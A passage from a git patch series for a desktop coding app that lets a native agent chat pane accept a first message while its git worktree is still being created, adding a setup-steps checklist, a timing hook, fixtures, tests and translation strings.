id, so only the stamp names the row that answered. diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index f66534c273c..f3fd844768b 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -2844,6 +2844,7 @@ "8c967b4d15": "Later" }, "TaskPage": { + "gitlabLoadFailed": "Could not load GitLab work items. Refresh to try again.", "ff69a30681": "Cancel", "8ff6fdc368": "Creating…", "919a20dd5b": "Enter {{value0}}", From 0ef88c1eee03781175b93c8bf904be93fee63434 Mon Sep 17 00:00:00 2001 From: Kelvin Amoaba <97001695+AmoabaKelvin@users.noreply.github.com> Date: Sat, 31 Oct 2026 04:42:54 +0000 Subject: [PATCH 03/47] feat(worktree): open the native chat while its worktree is still being created (#36556) * feat(worktree): open the native chat while its worktree is still being created When native chat is the default, creating a worktree now shows the chat pane straight away instead of a spinner panel. Its composer works while git runs. A message sent before the worktree exists shows as the first user message with a step card under it (prepare, fetch base branch, create worktree with checkout %, start the agent), and the chat launch sends it as its first message once the worktree is ready. Text left unsent moves into the real chat's composer. Failures mark the step that failed and keep Retry and Dismiss. The renderer holds the message and hands it to the existing launch prompt path, so hosts need no protocol change. The terminal route, folder workspaces, SSH and VM recipes keep the old panel. * fix(worktree): keep a held chat message when the host declines the chat A background create whose host declines native chat opens the agent terminal from the submit-time plan, which never saw a message sent while the worktree was being created. That message now lands unsent in the agent's input. The pending composer draft is also only deleted once it has been copied into the new chat. --- .../src/app-shell/AppWorkspaceShell.tsx | 19 +- .../native-chat/NativeChatComposerPane.tsx | 21 +- .../native-chat/native-chat-composer-types.ts | 4 + .../PendingNativeChatCreation.tsx | 238 ++++++++++++++++++ .../WorktreeCreationPanel.tsx | 22 +- .../WorktreeSetupSteps.fixture.tsx | 68 +++++ .../worktree-creation/WorktreeSetupSteps.tsx | 130 ++++++++++ .../worktree-creation-clock.ts | 24 ++ .../worktree-setup-steps.test.ts | 108 ++++++++ .../worktree-creation/worktree-setup-steps.ts | 88 +++++++ src/renderer/src/i18n/locales/en.json | 11 + .../src/lib/agent-session-launch-plan.ts | 2 + .../src/lib/pending-worktree-creation.ts | 46 ++++ ...structured-agent-session-launch-callers.ts | 2 + ...uctured-agent-session-launch-draft.test.ts | 19 ++ .../structured-agent-session-launch-draft.ts | 31 ++- .../src/lib/worktree-creation-flow.ts | 30 ++- ...on-structured-session-host-decline.test.ts | 34 +++ ...rktree-creation-structured-session.test.ts | 32 +++ .../worktree-creation-structured-session.ts | 30 ++- .../src/store/slices/worktree-helpers.ts | 1 + .../create/pending-worktree-creation.ts | 20 +- 22 files changed, 937 insertions(+), 43 deletions(-) create mode 100644 src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx create mode 100644 src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx create mode 100644 src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx create mode 100644 src/renderer/src/components/worktree-creation/worktree-creation-clock.ts create mode 100644 src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts create mode 100644 src/renderer/src/components/worktree-creation/worktree-setup-steps.ts diff --git a/src/renderer/src/app-shell/AppWorkspaceShell.tsx b/src/renderer/src/app-shell/AppWorkspaceShell.tsx index e9633769d0f..3e81d476900 100644 --- a/src/renderer/src/app-shell/AppWorkspaceShell.tsx +++ b/src/renderer/src/app-shell/AppWorkspaceShell.tsx @@ -1,6 +1,8 @@ import { memo, Suspense, useCallback, useRef } from 'react' import { lazyWithRetry as lazy } from '@/lib/lazy-with-retry' import { translate } from '@/i18n/i18n' +import { useAppStore } from '@/store' +import { pendingCreationOpensNativeChat } from '@/lib/pending-worktree-creation' import Sidebar from '../components/Sidebar' import RightSidebar from '../components/right-sidebar' import { RecoverableRenderErrorBoundary } from '../components/error-boundaries/RecoverableRenderErrorBoundary' @@ -19,6 +21,9 @@ const Landing = lazy(() => import('../components/Landing')) const WorktreeCreationPanel = lazy( () => import('../components/worktree-creation/WorktreeCreationPanel') ) +const PendingNativeChatCreation = lazy( + () => import('../components/worktree-creation/PendingNativeChatCreation') +) const TaskPage = lazy(() => import('../components/task-page/TaskPage')) const AutomationsPage = lazy(() => import('../components/automations/AutomationsPage')) const ActivityPrototypePage = lazy(() => import('../components/activity/ActivityPrototypePage')) @@ -67,6 +72,18 @@ function WorktreeSidebar({ ) } +// A chat-bound creation shows the chat itself, usable before its worktree exists. +function PendingCreationSurface(props: { + creationId: string + reserveCollapsedSidebarHeaderSpace: boolean +}): React.JSX.Element { + const opensChat = useAppStore((s) => { + const entry = s.pendingWorktreeCreations[props.creationId] + return entry ? pendingCreationOpensNativeChat(entry) : false + }) + return opensChat ? : +} + function ActivePage({ layout }: { layout: AppChromeLayout }): React.JSX.Element { const { activeView, hasActiveWorktree, activePendingCreationId, creationLayoutActive } = layout return ( @@ -80,7 +97,7 @@ function ActivePage({ layout }: { layout: AppChromeLayout }): React.JSX.Element {activeView === 'space' ? : null} {activeView === 'mobile' ? : null} {activeView === 'terminal' && creationLayoutActive && activePendingCreationId ? ( - diff --git a/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx b/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx index 1b91a1f0df7..9dd7963526c 100644 --- a/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx +++ b/src/renderer/src/components/native-chat/NativeChatComposerPane.tsx @@ -59,7 +59,8 @@ export const NativeChatComposerPane = forwardRef boolean /** The chat's own notices, shown in the composer's notice card above its input. */ diff --git a/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx b/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx new file mode 100644 index 00000000000..1796603f741 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/PendingNativeChatCreation.tsx @@ -0,0 +1,238 @@ +import React from 'react' +import { useAppStore } from '@/store' +import { cn } from '@/lib/utils' +import { translate } from '@/i18n/i18n' +import { retryBackgroundWorktreeCreation } from '@/lib/worktree-creation-flow' +import { structuredAgentLabel } from '@/lib/structured-agent-session-launch-label' +import { + pendingCreationChatDraftScopeKey, + pendingCreationHeldChatMessage, + type PendingWorktreeCreation +} from '@/lib/pending-worktree-creation' +import { shouldPreserveEditableFocus } from '@/components/terminal-pane/pane-helpers' +import { + NativeChatComposer, + type NativeChatComposerHandle +} from '@/components/native-chat/NativeChatComposer' +import type { NativeChatStructuredComposerTransport } from '@/components/native-chat/native-chat-composer-types' +import { deleteNativeChatComposerDraft } from '@/components/native-chat/native-chat-composer-draft-store' +import { useNativeChatComposerError } from '@/components/native-chat/use-native-chat-composer-notice' +import type { NativeChatComposerNotice } from '@/components/native-chat/native-chat-composer-notice' +import { NativeChatEmptyState } from '@/components/native-chat/NativeChatEmptyState' +import { NativeChatUserMessageRow } from '@/components/native-chat/NativeChatUserMessageRow' +import { + NATIVE_CHAT_APPEARANCE_ROOT_CLASS, + NATIVE_CHAT_TRANSCRIPT_COLUMN_CLASS, + nativeChatTranscriptOuterClass +} from '@/components/native-chat/native-chat-appearance-style' +import { useNativeChatStoreAppearanceStyle } from '@/components/native-chat/use-native-chat-store-appearance-style' +import type { NativeChatMessage } from '../../../../shared/native-chat-types' +import { deriveNativeChatRowContent } from '../../../../shared/native-chat-row-content' +import type { SessionOptionsSurface } from '../../../../shared/native-chat/input/native-chat-session-options' +import WorktreeCreationTabStrip from './WorktreeCreationTabStrip' +import { WorktreeSetupSteps } from './WorktreeSetupSteps' +import { deriveWorktreeSetupSteps } from './worktree-setup-steps' +import { useWorktreeCreationClock } from './worktree-creation-clock' + +const NO_OPTIONS_SURFACE: SessionOptionsSurface = { + getSnapshot: () => [], + setOption: async () => ({ snapshot: [] }), + invokeAction: async () => ({ snapshot: [] }), + subscribe: () => () => {} +} +const NO_COMMAND_CAUSES = { + working: false, + prompt: false, + background: false, + sending: false, + retry: false +} as const + +function failureText(entry: PendingWorktreeCreation): string { + return ( + entry.error ?? + translate( + 'auto.components.worktree.creation.WorktreeCreationPanel.767951265d', + 'Something went wrong while creating the worktree.' + ) + ) +} + +/** A native chat's own pane while its worktree is created: the composer takes the first message now and the launch sends it. */ +export default function PendingNativeChatCreation({ + creationId, + reserveCollapsedSidebarHeaderSpace = false +}: { + creationId: string + reserveCollapsedSidebarHeaderSpace?: boolean +}): React.JSX.Element | null { + const entry = useAppStore((s) => s.pendingWorktreeCreations[creationId]) + const appearanceStyle = useNativeChatStoreAppearanceStyle() + const composerRef = React.useRef(null) + const { composerError, reportComposerError } = useNativeChatComposerError(NO_COMMAND_CAUSES) + const status = entry?.status + const heldMessage = entry ? pendingCreationHeldChatMessage(entry) : null + const held = heldMessage !== null + // Like t3code, progress shows only in the steps card after a send, never above the composer. + const now = useWorktreeCreationClock(status === 'creating' && held) + const suppressFocus = entry?.request.suppressTerminalFocusOnCompletion === true + + const transport = React.useMemo((): NativeChatStructuredComposerTransport => { + const sendBlockedReason = + status === 'error' + ? translate( + 'auto.components.worktree.creation.PendingNativeChatCreation.sendBlockedFailed', + 'Retry creating the worktree to send' + ) + : held + ? translate( + 'auto.components.worktree.creation.PendingNativeChatCreation.sendBlockedHeld', + 'Sends when the worktree is ready' + ) + : undefined + return { + capturePresentation: () => () => true, + // Commands go to the agent as the first message, so nothing is handled here. + dispatchCommand: async () => ({ handled: false, accepted: false, error: null }), + send: (text) => { + const store = useAppStore.getState() + const current = store.pendingWorktreeCreations[creationId] + if ( + !current || + current.status !== 'creating' || + pendingCreationHeldChatMessage(current) !== null + ) { + return false + } + store.updatePendingWorktreeCreation(creationId, { heldChatMessage: text }) + return true + }, + ...(sendBlockedReason ? { sendBlockedReason } : {}), + optionsSurface: NO_OPTIONS_SURFACE, + optionSnapshot: [], + acceptsImages: false, + onError: reportComposerError, + runtime: 'local', + sessionId: pendingCreationChatDraftScopeKey(creationId), + runtimeEnvironmentId: null + } + }, [creationId, held, reportComposerError, status]) + + const notices = React.useMemo( + (): NativeChatComposerNotice[] => + composerError ? [{ key: 'composer-error', kind: 'error', ...composerError }] : [], + [composerError] + ) + + // Runs once per creation (suppressFocus is fixed at submit); a field elsewhere keeps its focus. + React.useEffect(() => { + if (suppressFocus) { + return + } + const frame = requestAnimationFrame(() => { + if (!shouldPreserveEditableFocus(document.activeElement)) { + composerRef.current?.focus() + } + }) + return () => cancelAnimationFrame(frame) + }, [suppressFocus]) + + if (!entry || entry.request.agent === null) { + return null + } + const agent = entry.request.agent + const agentLabel = structuredAgentLabel(agent) + const isError = entry.status === 'error' + const tabId = `${pendingCreationChatDraftScopeKey(creationId)}:tab` + // Explicit back-outs drop the unsent draft; completion leaves it for the launch to move. + const dismiss = (): void => { + useAppStore.getState().removePendingWorktreeCreation(creationId) + deleteNativeChatComposerDraft(pendingCreationChatDraftScopeKey(creationId)) + } + const steps = + held || isError ? ( + retryBackgroundWorktreeCreation(creationId)} + onDismiss={dismiss} + /> + ) : null + + return ( +
+ +
+
+ {steps ? ( +
+
+
+ {heldMessage !== null ? ( + + ) : null} + {steps} +
+
+
+ ) : ( + + )} +
+ +
+
+ ) +} + +function HeldMessageRow({ + creationId, + text +}: { + creationId: string + text: string +}): React.JSX.Element { + const rowRef = React.useRef(null) + const message = React.useMemo( + (): NativeChatMessage => ({ + id: `${pendingCreationChatDraftScopeKey(creationId)}:first-message`, + role: 'user', + blocks: [{ type: 'text', text }], + timestamp: null, + source: 'transcript' + }), + [creationId, text] + ) + const { markdown, prose } = deriveNativeChatRowContent(message.blocks) + return ( + {}} + allowFileUriLinks={false} + /> + ) +} diff --git a/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx b/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx index eb874a00c8d..0f808ef5437 100644 --- a/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx +++ b/src/renderer/src/components/worktree-creation/WorktreeCreationPanel.tsx @@ -1,7 +1,6 @@ import React from 'react' import { AlertTriangle, Loader2, RotateCcw } from 'lucide-react' import { useAppStore } from '@/store' -import { installWindowVisibilityInterval } from '@/lib/window-visibility-interval' import { retryBackgroundWorktreeCreation } from '@/lib/worktree-creation-flow' import { getCreationProgressLabel, @@ -10,6 +9,7 @@ import { import { Progress } from '@/components/ui/progress' import { translate } from '@/i18n/i18n' import WorktreeCreationTabStrip from './WorktreeCreationTabStrip' +import { formatElapsedTime, useWorktreeCreationClock } from './worktree-creation-clock' /** Debounced in-frame creation placeholder: tab strip names the workspace while body shows status, enabling same-frame handoff without duplicating labels. */ export default function WorktreeCreationPanel({ @@ -20,17 +20,9 @@ export default function WorktreeCreationPanel({ reserveCollapsedSidebarHeaderSpace?: boolean }): React.JSX.Element | null { const entry = useAppStore((s) => s.pendingWorktreeCreations[creationId]) - const [now, setNow] = React.useState(() => Date.now()) const progressLabelId = React.useId() // Depend on primitive status so stderr’s fresh entry objects cannot continuously reset the interval. - const entryStatus = entry?.status - React.useEffect(() => { - if (entryStatus !== 'creating') { - return - } - // Pause the clock while hidden to avoid unseen panel rerenders. - return installWindowVisibilityInterval({ run: () => setNow(Date.now()), intervalMs: 1000 }) - }, [entryStatus]) + const now = useWorktreeCreationClock(entry?.status === 'creating') if (!entry) { return null } @@ -258,13 +250,3 @@ function RecipeOutputLog({ ) } - -function formatElapsedTime(elapsedMs: number): string { - const totalSeconds = Math.max(0, Math.floor(elapsedMs / 1000)) - const minutes = Math.floor(totalSeconds / 60) - const seconds = totalSeconds % 60 - if (minutes === 0) { - return `${seconds}s` - } - return `${minutes}m ${seconds.toString().padStart(2, '0')}s` -} diff --git a/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx new file mode 100644 index 00000000000..93026633fef --- /dev/null +++ b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.fixture.tsx @@ -0,0 +1,68 @@ +import { defineFixture } from '../../component-fixtures/component-fixture' +import { WorktreeSetupSteps } from './WorktreeSetupSteps' +import { deriveWorktreeSetupSteps, type WorktreeSetupStep } from './worktree-setup-steps' + +const T0 = 1_800_000_000_000 +const NOW = T0 + 14_000 + +function frame(steps: WorktreeSetupStep[], error: string | null = null) { + return defineFixture({ + width: 560, + render: () => ( +
+ {}} + onDismiss={() => {}} + /> +
+ ) + }) +} + +export const runningCheckout = frame( + deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'preparing', at: T0 }, + { phase: 'fetching', at: T0 + 1_200 }, + { phase: 'creating', at: T0 + 4_800 } + ], + checkoutProgress: { percent: 62, completed: 1_240, total: 2_000 } + }, + NOW + ) +) + +export const doneThroughCheckout = frame([ + { id: 'fetch', state: 'done', elapsedMs: 2_400, percent: null }, + { id: 'create', state: 'done', elapsedMs: 9_100, percent: null }, + { id: 'start-agent', state: 'pending', elapsedMs: null, percent: null } +]) + +export const failed = frame( + deriveWorktreeSetupSteps( + { + status: 'error', + phase: 'fetching', + indeterminate: false, + startedAt: T0, + phaseLog: [{ phase: 'fetching', at: T0 }] + }, + NOW + ), + "fatal: couldn't find remote ref feature/missing-base" +) + +export const indeterminate = frame( + deriveWorktreeSetupSteps( + { status: 'creating', phase: 'creating', indeterminate: true, startedAt: T0 }, + NOW + ) +) diff --git a/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx new file mode 100644 index 00000000000..535153d6f74 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/WorktreeSetupSteps.tsx @@ -0,0 +1,130 @@ +import React from 'react' +import { Circle, CircleCheck, CircleX, Loader2, RotateCcw } from 'lucide-react' +import { Button } from '@/components/ui/button' +import { Progress } from '@/components/ui/progress' +import { cn } from '@/lib/utils' +import { translate } from '@/i18n/i18n' +import { formatElapsedTime } from './worktree-creation-clock' +import type { WorktreeSetupStep, WorktreeSetupStepId } from './worktree-setup-steps' + +function stepLabel(id: WorktreeSetupStepId, agentLabel: string): string { + switch (id) { + case 'prepare': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.prepare', + 'Prepare workspace' + ) + case 'fetch': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.fetch', + 'Fetch base branch' + ) + case 'create': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.create', + 'Create worktree' + ) + case 'setup': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.setup', + 'Set up workspace' + ) + case 'start-agent': + return translate( + 'auto.components.worktree.creation.WorktreeSetupSteps.startAgent', + 'Start {{agent}}', + { agent: agentLabel } + ) + } +} + +function StepIcon({ state }: { state: WorktreeSetupStep['state'] }): React.JSX.Element { + switch (state) { + case 'running': + return ( + + ) + case 'done': + return + case 'failed': + return + case 'pending': + return + } +} + +/** The worktree's setup checklist under a pending chat's first message, with Retry/Dismiss once it fails. */ +export function WorktreeSetupSteps({ + steps, + agentLabel, + error, + onRetry, + onDismiss +}: { + steps: readonly WorktreeSetupStep[] + agentLabel: string + /** Set once creation failed; the card then says why and offers Retry. */ + error: string | null + onRetry: () => void + onDismiss: () => void +}): React.JSX.Element { + const progressId = React.useId() + return ( +
+
    + {steps.map((step) => ( +
  1. +
    + + + {stepLabel(step.id, agentLabel)} + + {step.percent !== null ? ( + {step.percent}% + ) : null} + {step.elapsedMs !== null ? ( + + {formatElapsedTime(step.elapsedMs)} + + ) : null} +
    + {step.percent !== null ? ( + + ) : null} +
  2. + ))} +
+ {error !== null ? ( +
+

{error}

+
+ + +
+
+ ) : null} +
+ ) +} diff --git a/src/renderer/src/components/worktree-creation/worktree-creation-clock.ts b/src/renderer/src/components/worktree-creation/worktree-creation-clock.ts new file mode 100644 index 00000000000..f61815a63c3 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/worktree-creation-clock.ts @@ -0,0 +1,24 @@ +import { useEffect, useState } from 'react' +import { installWindowVisibilityInterval } from '@/lib/window-visibility-interval' + +/** Ticks once a second while `running`; paused while the window is hidden to avoid unseen rerenders. */ +export function useWorktreeCreationClock(running: boolean): number { + const [now, setNow] = useState(() => Date.now()) + useEffect(() => { + if (!running) { + return + } + return installWindowVisibilityInterval({ run: () => setNow(Date.now()), intervalMs: 1000 }) + }, [running]) + return now +} + +export function formatElapsedTime(elapsedMs: number): string { + const totalSeconds = Math.max(0, Math.floor(elapsedMs / 1000)) + const minutes = Math.floor(totalSeconds / 60) + const seconds = totalSeconds % 60 + if (minutes === 0) { + return `${seconds}s` + } + return `${minutes}m ${seconds.toString().padStart(2, '0')}s` +} diff --git a/src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts b/src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts new file mode 100644 index 00000000000..0c1adfe4695 --- /dev/null +++ b/src/renderer/src/components/worktree-creation/worktree-setup-steps.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, it } from 'vitest' +import { deriveWorktreeSetupSteps } from './worktree-setup-steps' + +const T0 = 1_000_000 + +function rows(steps: ReturnType) { + return steps.map(({ id, state, elapsedMs, percent }) => [id, state, elapsedMs, percent]) +} + +describe('deriveWorktreeSetupSteps', () => { + it('times finished phases from the log and shows checkout progress on the running step', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'preparing', at: T0 }, + { phase: 'fetching', at: T0 + 1_000 }, + { phase: 'creating', at: T0 + 4_000 } + ], + checkoutProgress: { percent: 40, completed: 4, total: 10 } + }, + T0 + 10_000 + ) + expect(rows(steps)).toEqual([ + ['prepare', 'done', 1_000, null], + ['fetch', 'done', 3_000, null], + ['create', 'running', 6_000, 40], + ['start-agent', 'pending', null, null] + ]) + }) + + it('lists phases not reached yet as pending and omits prepare when it never ran', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'fetching', + indeterminate: false, + startedAt: T0, + phaseLog: [{ phase: 'fetching', at: T0 }] + }, + T0 + 2_000 + ) + expect(rows(steps)).toEqual([ + ['fetch', 'running', 2_000, null], + ['create', 'pending', null, null], + ['start-agent', 'pending', null, null] + ]) + }) + + it('never claims a phase ran when creation passed over it', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'creating', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'preparing', at: T0 }, + { phase: 'creating', at: T0 + 500 } + ] + }, + T0 + 1_500 + ) + expect(steps.map((step) => step.id)).toEqual(['prepare', 'create', 'start-agent']) + }) + + it('marks the last entered step failed on error and keeps later steps pending', () => { + const steps = deriveWorktreeSetupSteps( + { + status: 'error', + phase: 'creating', + indeterminate: false, + startedAt: T0, + phaseLog: [ + { phase: 'fetching', at: T0 }, + { phase: 'creating', at: T0 + 2_000 } + ], + checkoutProgress: { percent: 90, completed: 9, total: 10 } + }, + T0 + 5_000 + ) + expect(rows(steps)).toEqual([ + ['fetch', 'done', 2_000, null], + ['create', 'failed', null, null], + ['start-agent', 'pending', null, null] + ]) + }) + + it('collapses hosts without phase events into one setup step', () => { + const entry = { + phase: 'creating' as const, + indeterminate: true, + startedAt: T0, + phaseLog: [{ phase: 'creating' as const, at: T0 }] + } + expect(rows(deriveWorktreeSetupSteps({ ...entry, status: 'creating' }, T0 + 3_000))).toEqual([ + ['setup', 'running', 3_000, null], + ['start-agent', 'pending', null, null] + ]) + expect(rows(deriveWorktreeSetupSteps({ ...entry, status: 'error' }, T0 + 3_000))).toEqual([ + ['setup', 'failed', null, null], + ['start-agent', 'pending', null, null] + ]) + }) +}) diff --git a/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts b/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts new file mode 100644 index 00000000000..e4dce177b9f --- /dev/null +++ b/src/renderer/src/components/worktree-creation/worktree-setup-steps.ts @@ -0,0 +1,88 @@ +import { + getVisibleCheckoutProgress, + type PendingWorktreeCreation, + type WorktreeCreationPhase +} from '@/lib/pending-worktree-creation' + +export type WorktreeSetupStepId = 'prepare' | 'fetch' | 'create' | 'setup' | 'start-agent' + +export type WorktreeSetupStepState = 'pending' | 'running' | 'done' | 'failed' + +export type WorktreeSetupStep = { + id: WorktreeSetupStepId + state: WorktreeSetupStepState + /** Time spent so far (running) or in total (done); null otherwise. */ + elapsedMs: number | null + /** Git's checkout percent, only while the create step runs and git reports one. */ + percent: number | null +} + +type SetupStepEntry = Pick< + PendingWorktreeCreation, + 'status' | 'phase' | 'indeterminate' | 'phaseLog' | 'startedAt' | 'checkoutProgress' +> + +const PHASE_STEPS: readonly { phase: WorktreeCreationPhase; id: WorktreeSetupStepId }[] = [ + { phase: 'preparing', id: 'prepare' }, + { phase: 'fetching', id: 'fetch' }, + { phase: 'creating', id: 'create' } +] + +const START_AGENT: WorktreeSetupStep = { + id: 'start-agent', + state: 'pending', + elapsedMs: null, + percent: null +} + +/** Checklist rows for a pending chat's worktree; the agent row stays pending because this surface ends before it starts. */ +export function deriveWorktreeSetupSteps(entry: SetupStepEntry, now: number): WorktreeSetupStep[] { + const failed = entry.status === 'error' + if (entry.indeterminate) { + return [ + { + id: 'setup', + state: failed ? 'failed' : 'running', + elapsedMs: failed ? null : now - entry.startedAt, + percent: null + }, + START_AGENT + ] + } + const log = entry.phaseLog?.length + ? entry.phaseLog + : [{ phase: entry.phase, at: entry.startedAt }] + const entered = log.filter((record) => PHASE_STEPS.some(({ phase }) => phase === record.phase)) + const lastEntered = entered.at(-1) + const lastIndex = PHASE_STEPS.findIndex(({ phase }) => phase === lastEntered?.phase) + const steps: WorktreeSetupStep[] = [] + PHASE_STEPS.forEach(({ phase, id }, index) => { + const at = entered.findIndex((record) => record.phase === phase) + if (at === -1) { + // Prepare shows only when it ran; a passed-over phase never claims it ran. + if (phase !== 'preparing' && index > lastIndex) { + steps.push({ id, state: 'pending', elapsedMs: null, percent: null }) + } + return + } + const record = entered[at] + const next = entered[at + 1] + if (next) { + steps.push({ id, state: 'done', elapsedMs: next.at - record.at, percent: null }) + return + } + steps.push( + failed + ? { id, state: 'failed', elapsedMs: null, percent: null } + : { + id, + state: 'running', + elapsedMs: now - record.at, + percent: + phase === 'creating' ? (getVisibleCheckoutProgress(entry)?.percent ?? null) : null + } + ) + }) + steps.push(START_AGENT) + return steps +} diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index f3fd844768b..44f296eeb4f 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -3732,6 +3732,17 @@ "vmProvisioningTitle": "Provisioning VM", "cancelProvisioning": "Cancel", "vmProvisioningLogEmpty": "Waiting for recipe output…" + }, + "PendingNativeChatCreation": { + "sendBlockedFailed": "Retry creating the worktree to send", + "sendBlockedHeld": "Sends when the worktree is ready" + }, + "WorktreeSetupSteps": { + "prepare": "Prepare workspace", + "fetch": "Fetch base branch", + "create": "Create worktree", + "setup": "Set up workspace", + "startAgent": "Start {{agent}}" } } }, diff --git a/src/renderer/src/lib/agent-session-launch-plan.ts b/src/renderer/src/lib/agent-session-launch-plan.ts index 13f15057c67..1021c187e4d 100644 --- a/src/renderer/src/lib/agent-session-launch-plan.ts +++ b/src/renderer/src/lib/agent-session-launch-plan.ts @@ -61,6 +61,7 @@ export type AgentSessionLaunchVerdict = { resumeFrom?: StructuredAgentSessionResumeSource onPromptDelivered?: () => void promptKeptByCaller?: true + draftFromScope?: string launchOptions?: Readonly> } @@ -98,6 +99,7 @@ function structuredLaunchOptions(verdict: AgentSessionLaunchVerdict): Structured ...(verdict.resumeFrom ? { resumeFrom: verdict.resumeFrom } : {}), ...(verdict.onPromptDelivered ? { onPromptDelivered: verdict.onPromptDelivered } : {}), ...(verdict.promptKeptByCaller ? { promptKeptByCaller: true as const } : {}), + ...(verdict.draftFromScope ? { draftFromScope: verdict.draftFromScope } : {}), ...(verdict.executionHostId ? { executionHostId: verdict.executionHostId } : {}), ...(verdict.launchOptions ? { launchOptions: verdict.launchOptions } : {}) } diff --git a/src/renderer/src/lib/pending-worktree-creation.ts b/src/renderer/src/lib/pending-worktree-creation.ts index 5d8b418b09a..a57a559fee8 100644 --- a/src/renderer/src/lib/pending-worktree-creation.ts +++ b/src/renderer/src/lib/pending-worktree-creation.ts @@ -133,9 +133,55 @@ export type PendingWorktreeCreation = { provisioningLog?: string // Local git checkout meter; absent when git emits none or creation runs over SSH/runtime. checkoutProgress?: WorktreeCheckoutProgress + /** Phases entered so far with their start times, so the chat checklist can time each step. */ + phaseLog?: readonly { phase: WorktreeCreationPhase; at: number }[] + /** Chat message sent before the worktree existed; the chat launch delivers it as its first message. */ + heldChatMessage?: string request: WorktreeCreationRequest } +/** Draft scope of the chat composer shown while this creation has no workspace yet. */ +export function pendingCreationChatDraftScopeKey(creationId: string): string { + return `pending-worktree-creation:${creationId}` +} + +/** The first message this creation's chat will send: one sent while pending, else the composer's auto-submit prompt. */ +export function pendingCreationHeldChatMessage( + entry: Pick +): string | null { + if (entry.heldChatMessage) { + return entry.heldChatMessage + } + const { quickPrompt, promptDelivery } = entry.request + return promptDelivery !== 'draft' && quickPrompt.trim() ? quickPrompt : null +} + +/** The pending chat surface owns the first message and draft; hand both to the chat launch. */ +export function withPendingChatInput( + entry: PendingWorktreeCreation | undefined, + request: WorktreeCreationRequest +): WorktreeCreationRequest { + if (!entry || !pendingCreationOpensNativeChat({ phase: entry.phase, request })) { + return request + } + const held = pendingCreationHeldChatMessage({ ...entry, request }) + // The draft prompt was seeded into the pending composer, whose draft the launch moves over. + const { launchDraftPrompt: _seeded, ...rest } = request + return { ...rest, quickPrompt: held ?? '', promptDelivery: 'auto-submit' } +} + +/** True when this creation ends in a native chat, so its pending surface is the chat itself. */ +export function pendingCreationOpensNativeChat( + entry: Pick +): boolean { + return ( + entry.request.agentLaunchRoute === 'structured-native-chat' && + entry.request.agent !== null && + entry.phase !== 'provisioning-vm' && + !entry.request.ephemeralVmRecipe + ) +} + export function findPendingWorktreeCreationId( pendingCreations: Readonly> | undefined, worktreeId: string | null diff --git a/src/renderer/src/lib/structured-agent-session-launch-callers.ts b/src/renderer/src/lib/structured-agent-session-launch-callers.ts index 078497c08ce..591455ac215 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-callers.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-callers.ts @@ -21,6 +21,8 @@ export type StructuredAgentLaunchOptions = { onPromptDelivered?: () => void /** The caller keeps the prompt's text if it does not go out (notes), so no composer gets it. */ promptKeptByCaller?: true + /** An unsent composer draft that moves into this chat once its session exists. */ + draftFromScope?: string // Conversation adoption is launch identity, not a preference; see launchIdentity. resumeFrom?: StructuredAgentSessionResumeSource /** The host the route decided on; read only by the caller that starts the launch. */ diff --git a/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts b/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts index eafce383b31..d4848a7ac3a 100644 --- a/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts +++ b/src/renderer/src/lib/structured-agent-session-launch-draft.test.ts @@ -105,4 +105,23 @@ describe('structured launch draft persistence', () => { expect(composerDraft(launch.sessionId)).toBe('') } ) + + it('moves a draft written before the chat existed into the new chat', async () => { + setNativeChatComposerDraftStorageForTests(createMemoryNativeChatComposerDraftStorage()) + const intent = launchIntent('created-worktree', 'moved-draft-session') + mocks.createIntent.mockReturnValueOnce(intent) + mocks.launch.mockResolvedValue({ sessionId: intent.sessionId, fence: 1 }) + updateNativeChatComposerDraft('pending-chat', { text: 'and add a test' }, 'immediate') + + const launch = startStructuredAgentLaunch(intent.worktreeId, 'claude', { + requestId: 'request-2', + prompt: 'fix the bug', + promptDelivery: 'auto-submit', + draftFromScope: 'pending-chat' + }) + 